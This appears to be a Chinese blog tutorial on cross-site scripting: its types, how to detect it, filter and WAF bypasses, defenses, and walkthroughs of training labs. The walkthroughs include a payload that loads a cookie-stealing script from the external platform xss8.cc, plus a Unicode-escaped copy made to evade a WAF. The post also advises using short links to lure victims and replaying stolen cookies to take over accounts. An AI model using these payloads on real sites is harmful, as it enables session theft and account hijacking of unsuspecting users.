XSS大全

XSS的原理和特性

xss:将用户的输入当作前端代码执行

注入攻击的本质,是把用户输入的数据当做代码执行。

这里有两个关键条件:

第一个是用户能够控制输入

第二个是原本程序要执行的代码,拼接了用户输入的数据

html:定义了网页的结构
css:美化页面
js:可以操浏览器

XSS主要拼接的是什么

SQL注入拼接的是操作数据库的SQL语句。

XSS拼接的是网页的HTML代码,一般而言我们是可以拼接出合适的HTML代码去执行恶意的JS语句(总结:xss就是拼接恶意的HTML

xss能做什么

盗取Cookie(用的最频繁的)

获取内网ip

获取浏览器保存的明文密码

截取网页屏幕

网页上的键盘记录

xss类型:

反射型XSS (你提交的数据成功的实现了XSS,但是仅仅是对你这次访问产生了影响,是非持久型攻击)    一次性,必须手动输入恶意语句(利用条件比较的苛刻)

存储型XSS (你提交的数据成功的实现了XSS,存入了数据库,别人访问这个页面的时候就会自动触发)     持久性的,将我们输入的恶意语句存储起来,然后触发

DOM型XSS (比较复杂)基于dom对象的xss

怎么检测是否存在XSS

一般是想办法让浏览器弹窗(alert) 最经典的弹窗语句

如:<script>alert(1)</script>    

一般证明XSS是否存在,就是在正常页面传参然后构建参数让他弹窗就是存在XSS了


xss真的执行恶意代码的实际上是JS语句,那么我们一般需要构建<script></script>

(这个是定义Js的标签)

但是也是有其他方法可以执行的 javascript:

alert(1) (经典代码<a href=javascript:alert(1)>test</a>)

 Javascript实际上是一个伪协议      

伪协议不同于因特网上所真实存在的协议,如http://,https://,ftp://,     

伪协议只有关联应用能够用,比如 php://   tencent://(关联QQ)           

 javascript:伪协议实际上声明了URL的主体是任意的javascript代码       

 javascript:alert(1)

事件也是可以执行JS的:   

 例如:    οnerrοr=alert(1)   在加载文档或图像时发生错误。      

  该句的意思就是在加载文档或图像时发生错误然后会执行alert(1)         

类似的事件有很多         

常用的有 onerror、onload(成功加载执行)oninput (有输入框,输入的时候触发)


标签法:<script>alert(123)</script>
伪协议:<a href=javascript:alert(555)>555</a>
事件法:<a οnmοusemοve=alert(888)>8888</a>

xss的本质是什么

我们的传参被拼接进HTML页面,并且被执行。

xss如何执行

通过拼接恶意的html代码,js语句来执行攻击,实际上为html代码注入。

xss作用

盗用cookie,得到内网ip,获取保存的密码等

如何检测xss

通过一个经典语句<script>alert('1')</script>弹窗检测。

xss还可以通过什么来执行

通过事件,伪协议来执行

伪协议是什么

一种不同与真实协议的协议,只有关联应用才可以用(例如:javascript:alert(1))

事件是什么

这里的事件就是指js事件,通过之歌js事件来执行 例如<img src='1' οnerrοr=alert(1)/>当图片加载错误时弹窗,以此来触发执行语句

xss一般通过什么来执行

写在<script>标签内或者是事件标签触发

一定要用<来闭合吗

不一定 '和"也可以用来闭合语句

xss的过滤方法

进行转义实体编码输出,加标签,正则匹配替换

常用的事件有哪些

onerror(加载错误时触发),onload(加载成功时触发),oninput(输入框输入时触发)

如何防范xss

转义字符输出,用白名单验证、HTML实体化

xss要成功执行的条件是什么

用户可以控制输入,执行代码拼接用户输入数据

xss有几种类型

有三种,分别为反射型,存储型,DOM型

三种xss的形式的区别是什么

反射型 非持久型xss 只对本次访问有影响

存储型  持久型xss 存入数据库,访问时触发

DOM型 利用DOM对象触发的xss

反射型XSS具体使用方法

比如百度存在反射型XSS,然后你构建可以窃取Cookie的JS语句,然后传参点在URL那里,然后我们通过短链接将他变为短链接,然后发给想要获取别人信息的人。然后人家如果登陆状态访问了就会触发XSS

反射型XSS为什么很多SRC不收

因为危害比较小,需要管理员和你交互,大部分公益SRC会不收,专属的可以获得。

DOM型XSS究竟是持久型还是非持久型?

既有持久也有非持久,DOM型最简单的理解方法就是通过网页自带JS操作后造成的XSS,例如本身可能有HTML实体编码,结果我们输出点因为JS会进行解码,然后我们打了编码过的字符串,绕过了HTML实体编码造成的XSS就属于DOM型

事件型XSS是不是需要交互咧?

不一定,有些事件需要,有些不需要,例如: onload onerror 这些就不需要,我用的最喜欢的还是οnfοcus=alert(1) autofocus (获取焦点触发弹窗,然后自动触发)

事件有哪些?

HTML 事件参考手册

Xss窃取他人Cookie最简单的方法是什么?

通过XSS平台,例如XSSPT

短链接是什么?

短链接,通俗来说,就是将长的URL网址,转换为简短的网址字符串,和DNS协议有点像,提供服务的网站会在数据库里面存储短链接对应的原本URL是什么,当你访问短链接,然后那边设置了302重定向跳转到原本的长URL

XSS在什么地方可以插入?

有输入的地方就插进去

XSS一般在什么业务场景容易遇见?

重灾区:评论区、留言区、个人信息、订单信息等

针对型:站内信、网页即时通讯、私信、意见反馈

存在风险:搜索框、当前目录、图片属性等

反射型XSS靶场http://b-ref-xss-1s.lab.aqlab.cn/

首先,先随便输入看看源码的输入点在哪里

 观察输入的数据所在位置 是否能进行xss

尝试让语句闭合

首先是标签法:<script>alert(123)</script>

<h2 align=center>没有找到和&lt;script&gt;alert(123)&lt;/script&gt;相关的结果.</h2><center>
<form action=index.php method=GET>
<input name=keyword  value='&lt;script&gt;alert(123)&lt;/script&gt;'>

 &lt;script&gt;alert(123)&lt;/script&gt;

很明显<>被转义掉了

伪协议:<a href=javascript:alert(555)>555</a>

伪协议也被转义掉了,成了 &lt;a href=javascript:alert(555)&gt;555&lt;/a&gt;

只能尝试事件法


常用的有 onerror、onload(成功加载执行)oninput (有输入框,输入的时候触发)

所以用的是oninput

' οninput=alert(1) // 

页面会先从

存储型XSS

同源策略:

为什么A站点会填充A站点的Cookie,B站点会填充B站点的Cookie,他们不会相互乱窜?

同源策略:浏览器的同源策略,限制了不同源的Js,对当前页面的资源和属性的权限。同源策略保护了a.com域名下的资源不被来自其他网页的脚本读取或篡改

 所谓同源:需要同 域名/host、端口、协议

持久型/存储型XSS:

嵌入到web页面的恶意HTML会被存储到应用服务器端,简而言之就是会被存储到数据库,等用户在打开页面时,会继续执行恶意代码,能够持续的攻击用户;

存储型xss是怎么操作的

嵌入到了web页面的恶意代码被存储到服务器上,例如你注册时候将用户昵称设置为XSS恶意代码,那么访问某些页面会显示用户名的时候就会触发恶意代码。

存储型xss是什么

提交恶意xss数据,存入数据库中,访问时触发。

存储型xss和反射型xss区别

存储型存入数据库中,可持续时间长,而反射型持续时间短,仅对本次访问有影响,反射型一般要配合社工。

存储型xss作用

用于盗取cookie,得到内网ip...和其他xss作用相同,只是触发和执行的方法原理不同

存储型xss也可以通过弹窗来验证码

可以,不过不建议

存储型xss可能出现的位置

可以插入数据的地方,比如用户注册,留言板,上传文件的文件名处,管理员可见的报错信息

满足条件

能否插入数据,插入的JS代码能否正常执行

xss平台的payload怎么使用

和弹窗一样,直接去加载,一般XSS平台也会提供攻击代码

为什么用别人的cookie就可以登录别人的账号

因为cookie是一种身份识别方式

xss平台payload作用原理

访问后触发,去加载平台给出的脚本网址

用别人的cookie登录后时效性是一直有效的么

不一定是一直有效的,有的cookie有时效性的.

如果一个xss是通过DOM的形式触发,但存储在后端,算什么类型的

算DOM型的

靶场的存储型xss为什么是在url栏里添加代码,这样不就更像反射型?

靶场的这个存储型xss是得到了错误信息,存储在后端,然后管理员(机器人)访问了有错误信息的日志,然后触发.

存储型XSS可以不用JS达到恶意效果吗?

<meta http-equiv="refresh" content="5;url=http://i.zkaq.org/">

获取到别人的Cookie怎么登陆别人用户

可以使用Burp抓包直接修改抓包数据,也可以使用浏览器修改Cookie,建议火狐浏览器

Js窃取的究竟时哪里的Cookie?

Js操纵的主体是浏览器,窃取的当然是浏览器的Cookie,所以有XSS的地方,你如果抓包改Cookie去访问,XSS是吃不到你修改过的Cookie,其实你访问的时候抓包就可以看到,第一次访问正常页面,第二次会GET传参访问XSS平台

访问XSS平台的时候有什么注意事项?

以前也搭建过XSS平台,其实后台可以看到所有用户的Cookie,当你用了别人的XSS平台其实就要注意信息泄露这个问题,而且访问XSS平台和XSS页面建议使用无痕,天知道,他们会不会在脚本里面做手脚

存储型XSS怎么预防?

XSS预防从两点出发,第一点不允许输入恶意字符,第二点不允许输出,都可以。一般常见方法是用HTML实体编码解决,过滤<>’”等符号

存储型XSS属于什么等级的漏洞?

SRC一般是中危,项目上妥妥的高危-严重,杀伤力还是挺大的

进入靶场吧

FineCMS公益软件公益软件产品介绍http://59.63.166.75:8082/

CMS看到后要想到去找这个版本的漏洞

 从百度上可以看到

简单来说,就是可通过构造URL,让后台生成错误日志,而后台对错误日志的内容写入没有进行安全检查,导致写入的内容原原本本的显示在错误日志的页面中,当管理员在后台查看错误日志时,就会触发XSS代码。

所以我们攻击的位置是URL

那就先搭建个XSS平台,网上有在线平台,可以注册一个

这里推荐以下

XSS平台-XSS安全测试平台xss8.cc提供在线xss平台,仅用于程序员测试xss攻击漏洞,切勿用于非法用途。https://xss8.cc/bdstatic.com/?callback=project&act=view&id=34526做一个项目,选择默认模块就够用了

然后就构建语句/index.php?c=mail&m=a<sCRiPt sRC=//xss8.cc/UBPC></sCrIpT>

这样就可以了

flag=zKaQ-01sdfDCo0

Dom型XSS

什么是dom

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

DOM型XSS

DOM型XSS其实是一种特殊类型的XSS,它是基于DOM文档对象模型的一种漏洞。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

可能触发DOM型XSS的属性

document.referer属性

window.name属性

location属性

innerHTML属性

documen.write属性

document对象属性

Body 获取文档信息

Title 通过 title 属性可以访问当前文档的标题,也可以修改当前文档的标题。

URL 该属性返回当前页面完整的 URL,也就是浏览器地址栏中的全部地址信息。

Domain 该属性返回当前文档的服务器域名。

Referrer 该属性包含着链接到当前文档的源页面的 URL。

Cookie 这个属性可以访问和设置与当前文档相关的所有 cookie。

dom对象方法

close() 关闭用document.open()方法打开输出流,并显示选定的数据。

getElementById()返回对拥有指定id的第一个对象引用。

getElementsByName()返回带有指定名称的对象集合。

GetElementsByTagName()返回带有指定标签名的对象集合。

Open()打开一个流,以收集来自任何document.write()或document.writeln()方法输出。

Write()向文档写HTML表达式或者JavaScript代码

Dom型XSS的危害:

DOM-XSS不经过服务端,只看服务端的日志和数据库,很难排查到

DOM-XSS一般是通杀浏览器的

DOM-XSS一般是被攻击的时候就执行了XSS,由于是前端DOM操作导致,很难留下痕迹

反射型XSS和储存型XSS以及Dom型XSS的特点

反射型:
交互的数据一般不会被存在数据库中,一次性,所见即所得,一般出现在查询类页面等

存储型:
交互的数据会被存在数据库中,永久性存储,一般出现在留言板,注册等页面

DOM型:
不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,大部分属于反射型

从实用的角度看存储型XSS和反射型XSS以及Dom型XSS

存储型xss最持久,而且更为隐蔽,因为是存在数据库当中的,触发的url当中没有带js或者其他的html代码,所以他的实用性更高。其次则是Dom型XSS因为它能绕过大部分浏览器的过滤,再其次才是反射型XSS反射型的xss还要深思熟虑的考虑根据浏览器去bypass各种过滤,易用性稍微差一些(注意反射型xss和dom型xss都需要在url加入js代码才能够触发)

.什么是document 和 windows 对象

document表示的是一个文档对象,window表示的是一个窗口对象,一个窗口下可以有多个文档对象。document 只是属于window 的一个子对象。

什么是非持久型什么是非持久型,Dom型xss又属于那种呢?

非持久型xss攻击:顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。

持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。

而Dom型xss属于有可能是持久也可能是非持久型

.通过xss打到的cookie怎么用来登录呢

通过抓包将你得到的cookie贴相应位置到里面即可,注意抓到的是什么页面的cookie就去相应页面抓包修改,不要找错页面了。

为什么在靶场后面加个1.txt就能绕waf

因为它认为.txt文件是安全的,所以可绕过,又因为它找不到1.txt这个文件,他就会解析上级目录

为什么靶场可以用native编码来绕waf

因为document.write()他可以接受native编码

.Dom型XSS的优点

避开waf

因为有些情况Dom Xss的Payload,可以通过location.hash,即设置为锚部分从#之后的部分,既能让JS读取到该参数,又不让该参数传入到服务器,从而避免waf检测。location.search也类似,它可以把部分参数放在?之后的部分。长度不限,这个很重要,关键时候!

为什么有时弹窗弹不出来

首先同学可以尝试更换浏览器,谷歌浏览器过滤反射型XSS,同学可以更换火狐之类的再做尝试。

网站可能过滤了script标签怎么测试此网站是否存在XSS

测试弹窗的语句并不只有<script>alert(1)</script>可以尝试跟换大小写,以及更换其他语句来测试

为什么通过抓包来做XSS会比直接在前端插要好

因为前端可能存在着一些代码的过滤,也可能存在一些输入长度的限制,这些一般都是前端检测,所以用burp就不会存在这些问题

测试网站是否存在XSS关键在于什么

关键看善于看网站源码,通过网站源码给你的信息来进行测试,并且要善于找输出点,这些地方都是需要重点排查的

常见XSS平台有哪些?

XSSPT     XSS8.CC   load.com

访问XSS平台的时候有什么注意事项?

以前也搭建过XSS平台,其实后台可以看到所有用户的Cookie,当你用了别人的XSS平台其实就要注意信息泄露这个问题,而且访问XSS平台和XSS页面建议使用无痕

xss作用

盗用cookie,得到内网ip,获取保存的密码等

.DOM型XSS的防御方法

DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。其防御在于:

(1) 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务器端使用动态页面来实现;

(2) 分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和创建HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码、输出到<script>则进行JS编码。

为什么不建议用谷歌浏览器做dom-xss?

新版Chrome针对script context类型的domxss做了检测拦截

来来来,进靶场聊聊天

Welcome...!聊天室.http://59.63.166.75:8014/dom_xss/

直接存储型XSS,发现有waf,上来就被封了,进都进不去,只能换路径

F12看源码,发现了document.write("/dom_xss/");

document.write() 向文档写html表达式成javascript代码

在url中输入?id=1,测试页面是否接收get传参,以及接收get传参后的页面回显方式和位置

 知晓该函数利用js代码可接收Native编码,上网查找在线转码网站,将弹出注入语句转为Native代码

\u003c\u002f\u0074\u0045\u0078\u0074\u0041\u0072\u0045\u0061\u003e\u0027\u0022\u003e\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u002f\u002f\u0078\u0073\u0073\u0038\u002e\u0063\u0063\u002f\u0055\u0042\u0050\u0043\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e

 

发现没有flag,但我们点击投诉建议,在其输入框中再次尝试。

但得等等,因为我又被waf拦住了,网页也进不去了

 可以在XSS平台上看到

  • 3
    点赞
  • 50
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
XSS (Cross-Site Scripting) 是一种常见的安全漏洞,攻击通过注入恶意脚本来攻击网站用户。为了防止XSS攻击,可以使用XSS过滤器来对用户输入的数据进行处理和过滤。 XSS过滤器的主要目标是检测和阻止恶意脚本的注入。它可以通过以下几种方式来实现: 1. 输入验证: 对用户输入的数据进行验证,确保只接受符合预期格式和类型的数据。例如,如果一个输入字段只允许数字,那么任何非数字的输入都应该被拒绝。 2. 输出转义: 对从数据库或其他来源检索到的数据进行适当的转义处理,确保在将其插入到HTML页面时不会被解释为可执行的脚本代码。常见的转义包括将特殊字符如<、>、&等替换为对应的HTML实体编码。 3. 内容安全策略(CSP): 使用CSP可以限制页面中可以加载和执行的资源,从而减少XSS攻击的可能性。CSP可以配置允许加载的外部脚本、样式表和图片等资源,同时禁止内联脚本和eval()等危险函数的使用。 4. HttpOnly Cookie: 将敏感信息存储在HttpOnly Cookie中,这样可以防止客户端的脚本访问和修改Cookie内容,减少XSS攻击的影响范围。 5. 使用安全的编程语言和框架: 选择使用经过安全性测试的编程语言和框架,它们通常提供了内置的安全机制和过滤器,帮助减少XSS攻击的风险。 综合上述措施可以加强网站的安全性,但是XSS攻击的方法和技术不断演变,所以保持对最新安全威胁的了解和及时更新防护措施也是非常重要的。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值